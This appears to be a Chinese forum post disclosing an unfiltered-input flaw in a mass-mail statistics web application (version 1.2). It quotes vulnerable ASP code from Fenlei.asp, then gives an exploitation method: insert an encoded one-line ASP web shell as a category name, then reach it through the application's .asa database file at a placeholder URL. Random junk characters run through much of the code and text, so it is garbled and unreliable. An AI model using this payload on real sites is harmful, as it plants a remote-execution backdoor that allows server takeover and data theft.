铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
" X9 O5 ^& Q0 Y4 X3 B5 g+ k1 b, m
IF Request.QueryString("Action")="del" Then
5 a2 u! \; o' E: e% L# x% BID=Request.QueryString("ID")
; ~7 Y) D4 W. I% j0 PIF Countss ("tui","Fenlei",ID )<>0 then
'略
IF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
  p- E2 I  K  }7 ?8 mRs("Typename")=Tname
'略
Set Rs=Server.CreateObject("adodb.Recordset")
Sql="Select * From Fenlei Order by id Desc "
* G' f: s: C% i4 R+ hRs.Open Sql,Conn,1,1
# `1 q# R4 n6 V$ a) [) J4 a'略
7 i" f( u% k# U! m/ U%>
; n6 y5 v( \* p
' h1 ?5 y# o1 |2 }1 w  Z6 y2 u
1 x6 |) R$ R. h$ H2 Q5 i
没有过滤，直接写入数据库。

  E  ]* U' O5 u( j7 g, W利用方法：

6 P2 ^0 u" G9 D/ _插入：┼攠數畣整爠煥敵瑳∨≡┩>


连接： http://www.xxx.com/###tongbaner.asa
'默认安装文件：
- l  R+ [) A8 {& W$ Y6 V9 T'install.asp